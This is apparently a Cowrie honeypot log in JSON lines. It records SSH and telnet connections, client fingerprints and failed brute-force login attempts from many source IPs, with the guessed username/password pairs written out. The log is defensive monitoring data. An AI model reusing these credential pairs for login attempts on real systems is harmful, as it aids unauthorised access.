{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:24.796134Z","src_ip":"147.45.51.138","session":"16df79aa7d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:24.884612Z","src_ip":"147.45.51.138","session":"16df79aa7d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwer","message":"login attempt [root/1234@qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:25.267725Z","src_ip":"147.45.51.138","session":"16df79aa7d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAaa123456","message":"login attempt [root/AAaa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:25.388015Z","src_ip":"122.176.122.24","session":"afdfe0ffeed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:26.358814Z","src_ip":"147.45.51.138","session":"16df79aa7d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6076b4b461b","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: a6076b4b461b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:26.604075Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:26.655381Z","src_ip":"122.176.122.24","session":"afdfe0ffeed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:26.714511Z","src_ip":"77.90.185.16","session":"a6076b4b461b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45140,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1add4618c8e","protocol":"telnet","message":"New connection: 170.64.224.25:45140 (159.203.135.109:23) [session: a1add4618c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:26.768253Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32782,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b264a8f385","protocol":"ssh","message":"New connection: 8.210.75.243:32782 (10.17.0.5:22) [session: 16b264a8f385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:27.121407Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":51466,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2d21a2b6ec4","protocol":"ssh","message":"New connection: 176.32.39.21:51466 (159.203.135.109:22) [session: e2d21a2b6ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:28.354341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:28.359158Z","src_ip":"176.32.39.21","session":"e2d21a2b6ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:28.477192Z","src_ip":"176.32.39.21","session":"e2d21a2b6ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321qwe","message":"login attempt [root/0987654321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:28.825637Z","src_ip":"176.32.39.21","session":"e2d21a2b6ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:29.942066Z","src_ip":"176.32.39.21","session":"e2d21a2b6ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40310,"dst_ip":"159.203.135.109","dst_port":23,"session":"60aeaa2283a0","protocol":"telnet","message":"New connection: 170.64.224.25:40310 (159.203.135.109:23) [session: 60aeaa2283a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:37.296307Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":55300,"dst_ip":"159.203.135.109","dst_port":22,"session":"226a2b910e30","protocol":"ssh","message":"New connection: 113.161.222.150:55300 (159.203.135.109:22) [session: 226a2b910e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:37.561116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:37.565482Z","src_ip":"113.161.222.150","session":"226a2b910e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:37.803186Z","src_ip":"113.161.222.150","session":"226a2b910e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yt123456","message":"login attempt [root/yt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:38.787958Z","src_ip":"113.161.222.150","session":"226a2b910e30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:40.029849Z","src_ip":"113.161.222.150","session":"226a2b910e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":46866,"dst_ip":"159.203.135.109","dst_port":22,"session":"43fe61b5d46e","protocol":"ssh","message":"New connection: 85.214.154.50:46866 (159.203.135.109:22) [session: 43fe61b5d46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:45.662073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:45.667968Z","src_ip":"85.214.154.50","session":"43fe61b5d46e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:45.760650Z","src_ip":"85.214.154.50","session":"43fe61b5d46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arweave2024","message":"login attempt [root/arweave2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:46.040067Z","src_ip":"85.214.154.50","session":"43fe61b5d46e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":52888,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5acc877df23","protocol":"ssh","message":"New connection: 164.92.161.148:52888 (10.17.0.5:22) [session: a5acc877df23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:46.775696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:46.778826Z","src_ip":"164.92.161.148","session":"a5acc877df23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":46576,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff462b964644","protocol":"ssh","message":"New connection: 211.106.137.135:46576 (10.17.0.5:22) [session: ff462b964644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:46.854120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:46.857972Z","src_ip":"211.106.137.135","session":"ff462b964644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:46.862078Z","src_ip":"164.92.161.148","session":"a5acc877df23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:47.062784Z","src_ip":"211.106.137.135","session":"ff462b964644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:47.134097Z","src_ip":"85.214.154.50","session":"43fe61b5d46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdfg","message":"login attempt [user/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:47.219980Z","src_ip":"164.92.161.148","session":"a5acc877df23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Redhat","message":"login attempt [root/Redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:47.931874Z","src_ip":"211.106.137.135","session":"ff462b964644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:48.309172Z","src_ip":"164.92.161.148","session":"a5acc877df23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:49.141369Z","src_ip":"211.106.137.135","session":"ff462b964644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":56208,"dst_ip":"10.17.0.5","dst_port":22,"session":"4779c1b03c7e","protocol":"ssh","message":"New connection: 139.59.208.49:56208 (10.17.0.5:22) [session: 4779c1b03c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:51.290435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:51.294445Z","src_ip":"139.59.208.49","session":"4779c1b03c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:51.377933Z","src_ip":"139.59.208.49","session":"4779c1b03c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testwww","password":"testwww","message":"login attempt [testwww/testwww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:51.756968Z","src_ip":"139.59.208.49","session":"4779c1b03c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:52.843762Z","src_ip":"139.59.208.49","session":"4779c1b03c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44910,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6a2f3d0970","protocol":"ssh","message":"New connection: 8.210.75.243:44910 (10.17.0.5:22) [session: 0a6a2f3d0970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:53.834721Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49790,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d75b30cd639","protocol":"ssh","message":"New connection: 51.250.105.222:49790 (10.17.0.5:22) [session: 7d75b30cd639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:56.183659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:56.187952Z","src_ip":"51.250.105.222","session":"7d75b30cd639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:56.310107Z","src_ip":"51.250.105.222","session":"7d75b30cd639","protocol":"ssh"}
